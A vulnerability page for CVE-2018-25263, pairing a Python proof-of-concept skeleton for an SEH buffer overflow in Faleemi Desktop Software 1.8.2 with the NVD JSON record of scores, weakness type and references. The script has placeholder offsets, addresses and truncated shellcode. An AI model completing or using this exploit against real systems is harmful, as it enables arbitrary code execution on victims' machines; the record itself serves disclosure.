CVE-2018-25263

#!/usr/bin/env python # PoC for CVE-2018-25263: Faleemi Desktop Software SEH Overflow # This script generates a malicious payload to trigger the buffer overflow. def generate_poc(): # Offset to SEH handler (example value, needs adjustment based on debugging) offset = 0 # POP POP RET sequence (universal or specific to module) seh_handler = "\xeb\x06\x90\x90" # Short jump + nops # Address to jump back to shellcode seh_address = "\xXX\xXX\xXX\xXX" # Shellcode (e.g., calc.exe) shellcode = "\x31\xc9\x51..." # Truncated for brevity payload = "A" * offset + seh_handler + seh_address + shellcode payload += "C" * (3000 - len(payload)) # Padding print("[+] Malicious Payload Generated:") print(payload) return payload if __name__ == "__main__": generate_poc()

{"cve": {"id": "CVE-2018-25263", "sourceIdentifier": "[email protected]", "published": "2026-04-26T22:17:26.863", "lastModified": "2026-04-27T18:53:00.053", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Faleemi Desktop Software 1.8.2 contains a local buffer overflow vulnerability in the Device alias field that allows local attackers to trigger a structured exception handler (SEH) overwrite. Attackers can craft a malicious payload and paste it into the Device alias field within the Managing Log interface to execute arbitrary code with calculator proof-of-concept execution."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "http://support.faleemi.com/fsc776/Faleemi_v1.8.exe", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/45492", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/faleemi-desktop-software-local-buffer-overflow-seh", "source": "[email protected]"}]}}